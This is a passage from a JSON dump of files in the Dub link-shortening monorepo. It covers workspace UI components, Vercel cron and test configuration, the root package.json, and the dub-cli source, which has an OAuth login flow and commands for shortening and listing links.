logo.\",\n            })}\n          />\n        </div>\n      </div>\n    </form>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/workspaces/workspace-arrow.tsx",
    "content": "export default function WorkspaceArrow({ className }: { className?: string }) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      direction=\"ltr\"\n      width=\"118.74\"\n      height=\"113.35\"\n      viewBox=\"686.76 370.89 118.74 113.35\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      className={className}\n    >\n      <g transform=\"matrix(1, 0, 0, 1, 841.69, 473.12)\" opacity=\"1\">\n        <g>\n          <defs>\n            <mask id=\"shape_DMhXIOleLZoVYRbAUpH5t_clip\">\n              <rect\n                x=\"-222.934999821233\"\n                y=\"-170.22265625\"\n                width=\"254.74\"\n                height=\"249.35\"\n                fill=\"white\"\n              />\n              <path\n                d=\"M -128.12074054893105 -61.43422831638357 L -122.375 -70.22265625 L -117.63686842462491 -60.85248500426316\"\n                fill=\"none\"\n                stroke=\"none\"\n              />\n            </mask>\n          </defs>\n          <g mask=\"url(#shape_DMhXIOleLZoVYRbAUpH5t_clip)\">\n            <rect\n              x=\"-100\"\n              y=\"-100\"\n              width=\"254.74\"\n              height=\"249.35\"\n              fill=\"transparent\"\n              stroke=\"none\"\n            />\n            <path\n              d=\"M-68.1875,-22.86328125 A41.88122170338541 41.88 0 0 1 -122.375,-70.22265625\"\n              fill=\"none\"\n              stroke=\"currentColor\"\n              strokeWidth=\"3.5\"\n              strokeDasharray=\"none\"\n              strokeDashoffset=\"none\"\n            />\n          </g>\n          <path\n            d=\"M -128.12074054893105 -61.43422831638357 L -122.375 -70.22265625 L -117.63686842462491 -60.85248500426316\"\n            fill=\"none\"\n            stroke=\"currentColor\"\n            strokeWidth=\"3.5\"\n          />\n        </g>\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/workspaces/workspace-exceeded-events.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { MaxWidthWrapper } from \"@dub/ui\";\nimport { CursorRays } from \"../layout/sidebar/icons/cursor-rays\";\nimport { AnimatedEmptyState } from \"../shared/animated-empty-state\";\n\nexport default function WorkspaceExceededEvents() {\n  const { slug } = useWorkspace();\n\n  return (\n    <MaxWidthWrapper>\n      <div className=\"my-10 flex flex-col items-center justify-center py-12\">\n        <AnimatedEmptyState\n          title=\"Stats Locked\"\n          description=\"Your workspace has exceeded your monthly events limit. We're still collecting data on your links, but you need to upgrade to view them.\"\n          cardContent={() => (\n            <>\n              <CursorRays className=\"size-4 text-neutral-700\" />\n              <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n            </>\n          )}\n          className=\"border-none\"\n          learnMoreText=\"Upgrade plan\"\n          learnMoreHref={`/${slug}/settings/billing`}\n          learnMoreTarget=\"_self\"\n        />\n      </div>\n    </MaxWidthWrapper>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/workspaces/workspace-selector.tsx",
    "content": "import useWorkspaces from \"@/lib/swr/use-workspaces\";\nimport { Button, Combobox } from \"@dub/ui\";\nimport { OG_AVATAR_URL, cn } from \"@dub/utils\";\nimport { useMemo, useState } from \"react\";\nimport { useAddWorkspaceModal } from \"../modals/add-workspace-modal\";\n\ninterface WorkspaceSelectorProps {\n  selectedWorkspace: string;\n  setSelectedWorkspace: (workspace: string) => void;\n}\n\nexport function WorkspaceSelector({\n  selectedWorkspace,\n  setSelectedWorkspace,\n}: WorkspaceSelectorProps) {\n  const [openPopover, setOpenPopover] = useState(false);\n  const { workspaces, loading } = useWorkspaces();\n\n  const { AddWorkspaceModal, setShowAddWorkspaceModal } =\n    useAddWorkspaceModal();\n\n  const workspaceOptions = useMemo(() => {\n    return workspaces?.map((workspace) => ({\n      value: workspace.slug,\n      label: workspace.name,\n      icon: (\n        <img\n          src={workspace.logo || `${OG_AVATAR_URL}${workspace.name}`}\n          alt={workspace.name}\n          className=\"size-4 rounded-full\"\n        />\n      ),\n    }));\n  }, [workspaces]);\n\n  const selectedOption = useMemo(() => {\n    if (!selectedWorkspace) {\n      return null;\n    }\n\n    const workspace = workspaces?.find((w) => w.slug === selectedWorkspace);\n\n    if (!workspace) {\n      return null;\n    }\n\n    return {\n      value: workspace.slug,\n      label: workspace.name,\n      icon: (\n        <img\n          src={workspace.logo || `${OG_AVATAR_URL}${workspace.name}`}\n          alt={workspace.name}\n          className=\"size-4 rounded-full\"\n        />\n      ),\n    };\n  }, [workspaces, selectedWorkspace]);\n\n  return (\n    <>\n      <AddWorkspaceModal />\n      <Combobox\n        options={loading ? undefined : workspaceOptions}\n        setSelected={(option) => {\n          setSelectedWorkspace(option.value);\n        }}\n        selected={selectedOption}\n        icon={loading ? null : selectedOption?.icon}\n        caret={true}\n        placeholder={loading ? \"\" : \"Select workspace\"}\n        searchPlaceholder=\"Search workspaces...\"\n        matchTriggerWidth\n        open={openPopover}\n        onOpenChange={setOpenPopover}\n        buttonProps={{\n          className: cn(\n            \"w-full justify-start border-neutral-300 px-3\",\n            \"data-[state=open]:ring-1 data-[state=open]:ring-neutral-500 data-[state=open]:border-neutral-500\",\n            \"focus:ring-1 focus:ring-neutral-500 focus:border-neutral-500 transition-none\",\n          ),\n        }}\n        emptyState={\n          <div className=\"flex w-full flex-col items-center gap-2 py-4\">\n            No workspaces found\n            <Button\n              onClick={() => {\n                setOpenPopover(false);\n                setShowAddWorkspaceModal(true);\n              }}\n              variant=\"primary\"\n              className=\"h-7 w-fit px-2\"\n              text=\"Create new workspace\"\n            />\n          </div>\n        }\n      >\n        {loading ? (\n          <div className=\"flex items-center gap-3\">\n            <div className=\"size-4 animate-pulse rounded-full bg-neutral-200\" />\n            <div className=\"h-4 w-32 animate-pulse rounded-md bg-neutral-200\" />\n          </div>\n        ) : (\n          selectedOption?.label\n        )}\n      </Combobox>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/vercel.json",
    "content": "{\n  \"crons\": [\n    {\n      \"path\": \"/api/cron/domains/verify\",\n      \"schedule\": \"0 * * * *\"\n    },\n    {\n      \"path\": \"/api/cron/email-domains/verify\",\n      \"schedule\": \"0 * * * *\"\n    },\n    {\n      \"path\": \"/api/cron/domains/renewal-reminders\",\n      \"schedule\": \"0 8 * * *\"\n    },\n    {\n      \"path\": \"/api/cron/domains/renewal-payments\",\n      \"schedule\": \"0 8 * * *\"\n    },\n    {\n      \"path\": \"/api/cron/streams/update-workspace-clicks\",\n      \"schedule\": \"* * * * *\"\n    },\n    {\n      \"path\": \"/api/cron/streams/update-partner-stats\",\n      \"schedule\": \"*/2 * * * *\"\n    },\n    {\n      \"path\": \"/api/cron/partner-program-summary\",\n      \"schedule\": \"0 13 1 * *\"\n    },\n    {\n      \"path\": \"/api/cron/pending-applications-summary\",\n      \"schedule\": \"0 9 * * *\"\n    },\n    {\n      \"path\": \"/api/cron/payouts/aggregate-due-commissions\",\n      \"schedule\": \"0 * * * *\"\n    },\n    {\n      \"path\": \"/api/cron/trigger-withdrawal\",\n      \"schedule\": \"0 0,12 * * *\"\n    },\n    {\n      \"path\": \"/api/cron/payouts/force-withdrawals\",\n      \"schedule\": \"0 12 * * *\"\n    },\n    {\n      \"path\": \"/api/cron/payouts/reminders/partners\",\n      \"schedule\": \"0 14 * * *\"\n    },\n    {\n      \"path\": \"/api/cron/payouts/reminders/program-owners\",\n      \"schedule\": \"0 13 25-31,1-5 * *\"\n    },\n    {\n      \"path\": \"/api/cron/bounties/queue-sync-social-metrics\",\n      \"schedule\": \"0 * * * *\"\n    }\n  ],\n  \"functions\": {\n    \"app/(ee)/api/cron/**/*.ts\": {\n      \"maxDuration\": 600\n    }\n  }\n}\n"
  },
  {
    "path": "apps/web/vitest.config.ts",
    "content": "import { loadEnv } from \"vite\";\nimport tsconfigPaths from \"vite-tsconfig-paths\";\nimport { defineConfig } from \"vitest/config\";\n\nexport default defineConfig({\n  plugins: [tsconfigPaths()],\n  test: {\n    dir: \"./tests\",\n    reporters: [\"verbose\"],\n    globals: true,\n    testTimeout: 50000,\n    env: loadEnv(\"\", process.cwd(), \"\"),\n    setupFiles: [\"./tests/setupTests.ts\"],\n  },\n});\n"
  },
  {
    "path": "package.json",
    "content": "{\n  \"name\": \"dub-monorepo\",\n  \"private\": true,\n  \"license\": \"AGPL-3.0-or-later\",\n  \"scripts\": {\n    \"build\": \"turbo build\",\n    \"build:packages\": \"pnpm -r --filter \\\"./packages/**\\\" build\",\n    \"dev\": \"turbo dev\",\n    \"lint\": \"turbo lint\",\n    \"clean\": \"turbo clean\",\n    \"format\": \"prettier --write \\\"**/*.{ts,tsx,md}\\\"\",\n    \"prettier-check\": \"prettier --check \\\"**/*.{ts,tsx,md}\\\"\",\n    \"publish-cli\": \"turbo build --filter='@dub/cli' && cd packages/cli && npm publish && cd ../../\",\n    \"publish-embed-core\": \"turbo build --filter='@dub/embed-core' && cd packages/embeds/core && npm publish && cd ../../../\",\n    \"publish-embed-react\": \"turbo build --filter='@dub/embed-react' && cd packages/embeds/react && npm publish && cd ../../../\",\n    \"publish-prisma\": \"turbo build --filter='@dub/prisma' && cd packages/prisma && npm publish && cd ../../\",\n    \"publish-tw\": \"turbo build --filter='@dub/tailwind-config' && cd packages/tailwind-config && npm publish && cd ../../\",\n    \"publish-ui\": \"turbo build --filter='@dub/ui' && cd packages/ui && npm publish && cd ../../\",\n    \"publish-utils\": \"turbo build --filter='@dub/utils' && cd packages/utils && npm publish && cd ../../\",\n    \"script\": \"echo 'Run this script in apps/web'\",\n    \"test\": \"turbo run test\"\n  },\n  \"devDependencies\": {\n    \"@dub/tailwind-config\": \"workspace:*\",\n    \"eslint\": \"^8.48.0\",\n    \"prettier\": \"^3.2.5\",\n    \"prettier-plugin-organize-imports\": \"^3.2.4\",\n    \"prettier-plugin-tailwindcss\": \"^0.6.0\",\n    \"tsconfig\": \"workspace:*\",\n    \"turbo\": \"^1.12.5\"\n  },\n  \"resolutions\": {\n    \"chrono-node\": \"2.7.5\"\n  },\n  \"packageManager\": \"pnpm@9.15.9\"\n}\n"
  },
  {
    "path": "packages/cli/.gitignore",
    "content": "node_modules\ndist\n.env"
  },
  {
    "path": "packages/cli/README.md",
    "content": "# `dub-cli`\n\nA CLI for easily shortening URLs with the [Dub API](https://dub.co/api).\n\nhttps://github.com/user-attachments/assets/2ce9fe51-68ab-4e6d-b08d-4da09c17f90e\n\n## Available Commands\n\n| Command                   | Description                                                                                                                                                                                              |\n| ------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| `dub login`               | Log into the DUB platform                                                                                                                                                                                |\n| `dub config`              | See your configured workspace credentials                                                                                                                                                                |\n| `dub domains`             | Configure your workspace domain                                                                                                                                                                          |\n| `dub shorten [url] [key]` | Create a short link. You can preemptively pass the URL and the generated short link key, or go through the CLI prompts.                                                                                  |\n| `dub links [options]`     | Search for links in your Dub workspace. Available options include: `-s, --search <search>` to search for a link by name, or `-l, --limit <limit>` to limit the number of links returned (default is 10). |\n| `dub help [command]`      | Display help for a specific command                                                                                                                                                                      |\n\n## Running Locally for Development\n\n1. Clone the repository, install dependencies and navigate to the `cli` folder:\n   ```bash\n   cd packages/cli\n   ```\n2. Build the package in watch mode:\n   ```bash\n   pnpm dev\n   ```\n3. In a separate terminal, navigate to the `cli` folder again and run an [available command](#available-commands):\n   ```bash\n   pnpm start [command]\n   ```\n4. See all [available commands](#available-commands) and options:\n   ```bash\n   pnpm start help\n   ```\n\n## Testing Production-like Setup\n\n> **Warning**\n> If you have previously installed `dub-cli` globally, uninstall it first to avoid conflicts\n\n1. Clone the repository, install dependencies and navigate to the `cli` folder:\n   ```bash\n   cd packages/cli\n   ```\n2. Build the package:\n   ```bash\n   pnpm build\n   ```\n3. Link the package globally:\n   ```bash\n    npm link\n   ```\n4. Verify the installation:\n   ```bash\n    dub -v\n   ```\n5. Run commands:\n   ```bash\n   dub [command]\n   ```\n"
  },
  {
    "path": "packages/cli/package.json",
    "content": "{\n  \"name\": \"dub-cli\",\n  \"version\": \"0.0.13\",\n  \"description\": \"A CLI for easily shortening URLs with the Dub API.\",\n  \"publishConfig\": {\n    \"access\": \"public\"\n  },\n  \"type\": \"module\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": \"./dist/index.js\",\n  \"main\": \"./dist/index.js\",\n  \"bin\": {\n    \"dub\": \"./dist/index.js\"\n  },\n  \"preferGlobal\": true,\n  \"author\": \"Steven Tey <stevensteel97@gmail.com>\",\n  \"homepage\": \"https://dub.co\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/dubinc/dub.git\"\n  },\n  \"bugs\": {\n    \"url\": \"https://github.com/dubinc/dub/issues\"\n  },\n  \"keywords\": [\n    \"dub\",\n    \"dub.co\",\n    \"dub cli\",\n    \"cli\"\n  ],\n  \"license\": \"MIT\",\n  \"files\": [\n    \"dist\"\n  ],\n  \"scripts\": {\n    \"dev\": \"tsup --watch\",\n    \"build\": \"tsup\",\n    \"typecheck\": \"tsc --noEmit\",\n    \"clean\": \"rimraf dist\",\n    \"start\": \"node dist/index.js \"\n  },\n  \"dependencies\": {\n    \"@badgateway/oauth2-client\": \"^2.4.2\",\n    \"chalk\": \"^5.3.0\",\n    \"commander\": \"^11.1.0\",\n    \"configstore\": \"^6.0.0\",\n    \"dub\": \"^0.43.0\",\n    \"fs-extra\": \"^11.2.0\",\n    \"json-colorizer\": \"^2.2.2\",\n    \"nanoid\": \"^5.0.7\",\n    \"node-fetch\": \"^3.3.2\",\n    \"open\": \"^10.1.0\",\n    \"ora\": \"^7.0.1\",\n    \"package-json\": \"^8.1.1\",\n    \"prompts\": \"^2.4.2\",\n    \"zod\": \"^3.23.8\"\n  },\n  \"devDependencies\": {\n    \"@types/configstore\": \"^6.0.2\",\n    \"@types/fs-extra\": \"^11.0.4\",\n    \"@types/node\": \"18.11.9\",\n    \"@types/prompts\": \"^2.4.9\",\n    \"rimraf\": \"^5.0.10\",\n    \"ts-node\": \"^10.9.2\",\n    \"tsup\": \"^6.7.0\",\n    \"type-fest\": \"^4.26.1\",\n    \"typescript\": \"^5.6.2\"\n  }\n}\n"
  },
  {
    "path": "packages/cli/src/api/callback.ts",
    "content": "import { DubConfig } from \"@/types\";\nimport { setConfig } from \"@/utils/config\";\nimport { logger } from \"@/utils/logger\";\nimport { OAuth2Client } from \"@badgateway/oauth2-client\";\nimport chalk from \"chalk\";\nimport * as http from \"http\";\nimport { Ora } from \"ora\";\nimport * as url from \"url\";\n\ninterface OAuthCallbackServerProps {\n  oauthClient: OAuth2Client;\n  redirectUri: string;\n  spinner: Ora;\n  codeVerifier: string;\n}\n\nexport function oauthCallbackServer({\n  oauthClient,\n  redirectUri,\n  codeVerifier,\n  spinner,\n}: OAuthCallbackServerProps) {\n  const server = http.createServer(async (req, res) => {\n    const reqUrl = url.parse(req.url || \"\", true);\n\n    if (reqUrl.pathname !== \"/callback\" || req.method !== \"GET\") {\n      res.writeHead(404);\n      res.end(\"Not found\");\n      return;\n    }\n\n    const code = reqUrl.query.code as string;\n\n    if (!code) {\n      res.writeHead(400);\n      res.end(\n        \"Authorization code not found. Please start the login process again.\",\n      );\n\n      return;\n    }\n\n    try {\n      spinner.text = \"Verifying\";\n\n      const { accessToken, refreshToken, expiresAt } =\n        await oauthClient.authorizationCode.getToken({\n          code,\n          redirectUri,\n          codeVerifier,\n        });\n\n      spinner.text = \"Configuring\";\n\n      const configInfo: DubConfig = {\n        access_token: accessToken.trim(),\n        refresh_token: refreshToken,\n        expires_at: expiresAt,\n        domain: \"dub.sh\",\n      };\n\n      await setConfig(configInfo);\n      spinner.succeed(\"Configuration completed\");\n\n      logger.info(\"\");\n      logger.info(chalk.green(\"Logged in successfully!\"));\n      logger.info(\"\");\n\n      res.writeHead(200, { \"Content-Type\": \"text/html\" });\n      res.end(\"Authentication successful! You can close this window.\");\n    } catch (error) {\n      res.writeHead(500, { \"Content-Type\": \"text/html\" });\n      res.end(\"An error occurred during authentication. Please try again.\");\n    } finally {\n      server.close();\n      process.exit(0);\n    }\n  });\n\n  setTimeout(() => {\n    server.close();\n    process.exit(0);\n  }, 300000);\n\n  server.listen(4587);\n}\n"
  },
  {
    "path": "packages/cli/src/api/domains.ts",
    "content": "import { getConfig } from \"@/utils/config\";\nimport { parseApiResponse } from \"@/utils/parser\";\nimport { Dub } from \"dub\";\nimport fetch from \"node-fetch\";\n\nexport async function getDomains() {\n  const config = await getConfig();\n\n  const dub = new Dub({\n    token: config.access_token,\n  });\n\n  const [{ result: domainsResponse }, defaultDomainsResponse] =\n    await Promise.all([\n      dub.domains.list(),\n      fetch(\"https://api.dub.co/domains/default\", {\n        method: \"GET\",\n        headers: {\n          Authorization: `Bearer ${config.access_token}`,\n          \"Content-Type\": \"application/json\",\n        },\n      }),\n    ]);\n\n  const [domains, defaultDomains] = await Promise.all([\n    domainsResponse,\n    parseApiResponse<string[]>(defaultDomainsResponse),\n  ]);\n\n  const allSlugs = [...domains.map((domain) => domain.slug), ...defaultDomains];\n\n  return Array.from(new Set(allSlugs));\n}\n"
  },
  {
    "path": "packages/cli/src/api/links.ts",
    "content": "import { getConfig } from \"@/utils/config\";\nimport { Dub } from \"dub\";\n\nexport async function createLink({ url, key }: { url: string; key: string }) {\n  const config = await getConfig();\n\n  const dub = new Dub({\n    token: config.access_token,\n  });\n\n  return await dub.links.create({\n    domain: config.domain,\n    url: url,\n    key: key,\n  });\n}\n"
  },
  {
    "path": "packages/cli/src/commands/config.ts",
    "content": "import { getConfig } from \"@/utils/config\";\nimport { handleError } from \"@/utils/handle-error\";\nimport { logger } from \"@/utils/logger\";\nimport { Command } from \"commander\";\nimport colorizeJson from \"json-colorizer\";\nimport ora from \"ora\";\n\nexport const config = new Command()\n  .name(\"config\")\n  .description(\"See your configured credentials\")\n  .action(async () => {\n    const spinner = ora(\"Getting config\").start();\n\n    try {\n      const configInfo = await getConfig();\n      spinner.succeed(\"Configuration file successfully retrieved\");\n\n      logger.info(\"\");\n      console.log(\n        colorizeJson(JSON.stringify(configInfo, null, 2), {\n          colors: {\n            STRING_KEY: \"white\",\n            STRING_LITERAL: \"#65B741\",\n            NUMBER_LITERAL: \"#7E30E1\",\n          },\n        }),\n      );\n      logger.info(\"\");\n    } catch (error) {\n      spinner.stop();\n      handleError(error);\n    }\n  });\n"
  },
  {
    "path": "packages/cli/src/commands/domains.ts",
    "content": "import { getDomains } from \"@/api/domains\";\nimport { setConfig } from \"@/utils/config\";\nimport { handleError } from \"@/utils/handle-error\";\nimport { logger } from \"@/utils/logger\";\nimport chalk from \"chalk\";\nimport { Command } from \"commander\";\nimport ora from \"ora\";\nimport prompts from \"prompts\";\nimport * as z from \"zod/v4\";\n\nconst domainOptionsSchema = z.object({\n  slug: z.string().min(3, {\n    message: \"Please provide a valid slug\",\n  }),\n});\n\nexport const domains = new Command()\n  .name(\"domains\")\n  .description(\"Configure your workspace domain\")\n  .action(async () => {\n    const spinner = ora(\"Fetching domains\").start();\n\n    try {\n      const showDomains = async () => {\n        const slugs = await getDomains();\n        if (slugs) spinner.stop();\n\n        return [\n          ...slugs.map((slug) => ({\n            title: slug,\n            value: slug,\n          })),\n        ];\n      };\n\n      const options = await prompts(\n        [\n          {\n            type: \"select\",\n            name: \"domain\",\n            message: \"Select a domain\",\n            choices: await showDomains(),\n            validate: (value) => {\n              const result = domainOptionsSchema.shape.slug.safeParse(value);\n              return result.success || result.error.errors[0].message;\n            },\n          },\n        ],\n        {\n          onCancel: () => {\n            logger.info(\"\");\n            logger.warn(\"You canceled the prompt.\");\n            logger.info(\"\");\n            process.exit(0);\n          },\n        },\n      );\n\n      setConfig({ domain: options.domain });\n      spinner.succeed(\"Done\");\n\n      logger.info(\"\");\n      logger.info(`${chalk.green(\"Success!\")} Configuration updated.`);\n      logger.info(\"\");\n    } catch (error) {\n      spinner.stop();\n      handleError(error);\n    }\n  });\n"
  },
  {
    "path": "packages/cli/src/commands/links.ts",
    "content": "import { getConfig } from \"@/utils/config\";\nimport { handleError } from \"@/utils/handle-error\";\nimport { Command } from \"commander\";\nimport { Dub } from \"dub\";\nimport ora from \"ora\";\n\nexport const links = new Command()\n  .command(\"links\")\n  .description(\"Search for links in your Dub workspace\")\n  .option(\"-s, --search [search]\", \"Search term to filter links by\")\n  .option(\"-l, --limit [limit]\", \"Number of links to fetch\")\n  .action(async ({ search, limit }) => {\n    try {\n      const config = await getConfig();\n\n      const spinner = ora(\"Fetching links\").start();\n\n      const dub = new Dub({\n        token: config.access_token,\n      });\n\n      const links = await dub.links.list({\n        search,\n        pageSize: limit ? parseInt(limit) : 10,\n      });\n\n      spinner.stop();\n\n      const formattedLinks = links.result.map((link) => ({\n        \"Short Link\": link.shortLink,\n        \"Destination URL\": link.url,\n        Clicks: link.clicks,\n        \"Created At\": new Date(link.createdAt).toLocaleDateString(\"en-US\", {\n          month: \"short\",\n          day: \"numeric\",\n          hour: \"numeric\",\n          minute: \"numeric\",\n          hour12: true,\n        }),\n      }));\n\n      console.table(formattedLinks);\n    } catch (error) {\n      handleError(error);\n    }\n  });\n"
  },
  {
    "path": "packages/cli/src/commands/login.ts",
    "content": "import { oauthCallbackServer } from \"@/api/callback\";\nimport { getNanoid } from \"@/utils/get-nanoid\";\nimport { handleError } from \"@/utils/handle-error\";\nimport { oauthClient } from \"@/utils/oauth\";\nimport { Command } from \"commander\";\nimport open from \"open\";\nimport ora from \"ora\";\n\nexport const login = new Command()\n  .name(\"login\")\n  .description(\"Log into the Dub platform\")\n  .action(async () => {\n    try {\n      const codeVerifier = getNanoid(64);\n      const redirectUri = \"http://localhost:4587/callback\";\n\n      const authUrl = await oauthClient.authorizationCode.getAuthorizeUri({\n        redirectUri,\n        codeVerifier,\n        scope: [\"links.read\", \"links.write\", \"domains.read\"],\n      });\n\n      const spinner = ora(\"Opening browser for authentication\").start();\n\n      await open(authUrl);\n\n      spinner.text = \"Waiting for authentication\";\n\n      oauthCallbackServer({\n        oauthClient,\n        redirectUri,\n        codeVerifier,\n        spinner,\n      });\n    } catch (error) {\n      handleError(error);\n    }\n  });\n"
  },
  {
    "path": "packages/cli/src/commands/shorten.ts",
    "content": "import { createLink } from \"@/api/links\";\nimport { getConfig } from \"@/utils/config\";\nimport { getNanoid } from \"@/utils/get-nanoid\";\nimport { handleError } from \"@/utils/handle-error\";\nimport { logger } from \"@/utils/logger\";\nimport chalk from \"chalk\";\nimport { Command } from \"commander\";\nimport ora from \"ora\";\nimport prompts from \"prompts\";\n\nexport const shorten = new Command()\n  .name(\"shorten\")\n  .description(\"Create a short link\")\n  .argument(\"[url]\", \"Destination URL\")\n  .argument(\"[key]\", \"Short key\", getNanoid())\n  .action(async (url, key) => {\n    try {\n      await getConfig();\n\n      let linkData = { url, key };\n\n      if (!url) {\n        linkData = await prompts(\n          [\n            {\n              type: \"text\",\n              name: \"url\",\n              message: \"Enter your Destination URL:\",\n            },\n            {\n              type: \"text\",\n              name: \"key\",\n              message: \"Enter your Short link:\",\n              initial: getNanoid(),\n            },\n          ],\n          {\n            onCancel: () => {\n              logger.info(\"\");\n              logger.warn(\"You canceled the prompt.\");\n              logger.info(\"\");\n              process.exit(0);\n            },\n          },\n        );\n      }\n\n      const spinner = ora(\"Creating new short link\").start();\n\n      try {\n        const generatedShortLink = await createLink(linkData);\n\n        spinner.succeed(\"New short link created!\");\n\n        logger.info(\"\");\n        logger.info(chalk.green(generatedShortLink.shortLink));\n        logger.info(\"\");\n      } catch (error) {\n        spinner.fail(\"Failed to create link\");\n        spinner.stop();\n        logger.info(\"\");\n        throw error;\n      }\n    } catch (error) {\n      handleError(error);\n    }\n  });\n"
  },
  {
    "path": "packages/cli/src/index.ts",
    "content": "#!/usr/bin/env node\n\nimport { config } from \"@/commands/config\";\nimport { domains } from \"@/commands/domains\";\nimport { login } from \"@/commands/login\";\nimport { shorten } from \"@/commands/shorten\";\nimport { getPackageInfo } from \"@/utils/get-package-info\";\nimport { Command } from \"commander\";\nimport { links } from \"./commands/links\";\n\nprocess.on(\"SIGINT\", () => process.exit(0));\nprocess.on(\"SIGTERM\", () => process.exit(0));\n\nasync function main() {\n  const packageInfo = await getPackageInfo();\n\n  const program = new Command()\n    .name(\"dub\")\n    .description(\"A CLI for shortening links with the Dub API.\")\n    .version(\n      packageInfo.version || \"1.0.0\",\n      \"-v, --version\",\n      \"display the version number\",\n    );\n\n  program\n    .addCommand(login)\n    .addCommand(config)\n    .addCommand(domains)\n    .addCommand(shorten)\n    .addCommand(links);\n\n  program.parse();\n}\n\nmain();\n"
  },
  {
    "path": "packages/cli/src/types/index.ts",
    "content": "export interface DubConfig {\n  access_token: string;\n  refresh_token: string | null;\n  expires_at: number | null;\n  domain?: string;\n}\n\nexport interface APIError {\n  error: {\n    code: string;\n    message: string;\n    doc_url: string;\n  };\n}\n"
  },
  {
    "path": "packages/cli/src/utils/config.ts",
    "content": "import type { DubConfig } from \"@/types\";\nimport { oauthClient } from \"@/utils/oauth\";\nimport Configstore from \"configstore\";\n\nexport async function getConfig(): Promise<DubConfig> {\n  const configStore = new Configstore(\"dub-cli\");\n\n  if (!configStore.size) {\n    throw new Error(\n      \"Access token not found. Please run `dub login` to authenticate with Dub.\",\n    );\n  }\n\n  const config = configStore.all as DubConfig;\n\n  if (config.expires_at && Date.now() >= config.expires_at) {\n    const { accessToken, refreshToken, expiresAt } =\n      await oauthClient.refreshToken({\n        accessToken: config.access_token,\n        refreshToken: config.refresh_token,\n        expiresAt: config.expires_at,\n      });\n\n    return await setConfig({\n      access_token: accessToken,\n      refresh_token: refreshToken,\n      expires_at: expiresAt,\n    });\n  }\n\n  return await configStore.all;\n}\n\nexport async function setConfig(\n  newConfig: Partial<DubConfig>,\n): Promise<DubConfig> {\n  const configStore = new Configstore(\"dub-cli\");\n  const existingConfig: DubConfig = configStore.all;\n\n  const updatedConfig: DubConfig = {\n    ...existingConfig,\n    ...newConfig,\n  };\n\n  configStore.set(updatedConfig);\n\n  if (!configStore.path) {\n    throw new Error(\"Failed to create or update config file\");\n  }\n\n  return updatedConfig;\n}\n"
  },
  {
    "path": "packages/cli/src/utils/get-nanoid.ts",
    "content": "import { customAlphabet } from \"nanoid\";\n\nconst alphabet =\n  \"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n\nexport function getNanoid(length: number = 7) {\n  const nanoid = customAlphabet(alphabet, length);\n\n  return nanoid();\n}\n"
  },
  {
    "path": "packages/cli/src/utils/get-package-info.ts",
    "content": "import packageJson from \"package-json\";\nimport type { PackageJson } from \"type-fest\";\n\nexport async function getPackageInfo() {\n  const packageInfo = await packageJson(\"dub-cli\");\n  return packageInfo as PackageJson;\n}\n"
  },
  {
    "path": "packages/cli/src/utils/handle-error.ts",
    "content": "import { logger } from \"@/utils/logger\";\nimport { z } from \"zod\";\n\nexport function handleError(error: unknown) {\n  if (error instanceof z.ZodError) {\n    error.issues.forEach((issue) => {\n      logger.error(issue.message);\n    });\n\n    process.exit(1);\n  }\n\n  if (typeof error === \"string\") {\n    logger.error(error);\n    process.exit(1);\n  }\n\n  if (error instanceof Error) {\n    logger.error(error.message);\n    process.exit(1);\n  }\n\n  logger.error(\"Something went wrong. Please try again.\");\n  process.exit(1);\n}\n"
  },
  {
    "path": "packages/cli/src/utils/logger.ts",
    "content": "import chalk from \"chalk\";\n\nexport const logger = {\n  error(...args: unknown[]) {\n    console.log(chalk.red(...args));\n  },\n  warn(...args: unknown[]) {\n    console.log(chalk.yellow(...args));\n  },\n  info(...args: unknown[]) {\n    console.log(chalk.cyan(...args));\n  },\n  success(...args: unknown[]) {\n    console.log(chalk.green(...args));\n  },\n  break() {\n    console.log(\"\");\n  },\n};\n"
  },
  {
    "path": "packages/cli/src/utils/oauth.ts",
    "content": "import { OAuth2Client } from \"@badgateway/oauth2-client\";\n\nexport const oauthClient = new OAuth2Client({\n  // TODO: add client id here\n  clientId: \"dub_app_39527dcc11b452f38bb54a3a1664fd044d7158dfea8abcde\",\n  authorizationEndpoint: \"https://app.dub.co/oauth/authorize\",\n  tokenEndpoint: \"https://api.dub.co/oauth/token\",\n});\n"
  },
  {
    "path": "packages/cli/src/utils/parser.ts",
    "content": "import type { APIError } from \"@/types\";\nimport type { Response as NodeFetchResponse } from \"node-fetch\";\n\ntype AnyResponse = Response | NodeFetchResponse;\n\nexport async function parseApiResponse<T>(response: AnyResponse): Promise<T> {\n  const contentType = response.headers.get(\"content-type\");\n\n  if (contentType?.includes(\"application/json\")) {\n    const parsedData = await response.json();\n\n    if (\"error\" in parsedData) {\n      throw new Error((parsedData as APIError).error.message);\n    }\n\n    return parsedData as T;\n  }\n\n  const textData = await response.text();\n\n  throw new Error(textData);\n}\n"
  },
  {
    "path": "packages/cli/tsconfig.json",
    "content": "{\n  \"$schema\": \"https://json.schemastore.org/tsconfig\",\n  \"display\": \"Default\",\n  \"compilerOptions\": {\n    \"composite\": false,\n    \"declaration\": true,\n    \"declarationMap\": true,\n    \"esModuleInterop\": true,\n    \"forceConsistentCasingInFileNames\": true,\n    \"inlineSources\": false,\n    \"isolatedModules\": true,\n    \"moduleResolution\": \"node\",\n    \"noUnusedLocals\": false,\n    \"noUnusedParameters\": false,\n    \"preserveWatchOutput\": true,\n    \"skipLibCheck\": true,\n    \"strict\": true,\n    \"outDir\": \"dist\",\n    \"baseUrl\": \".\",\n    \"paths\": {\n      \"@/*\": [\"./src/*\"]\n    }\n  },\n  \"include\": [\"src/**/*.ts\"],\n  \"exclude\": [\"node_modules\"]\n}\n"
  },
  {
    "path": "packages/cli/tsup.config.ts",
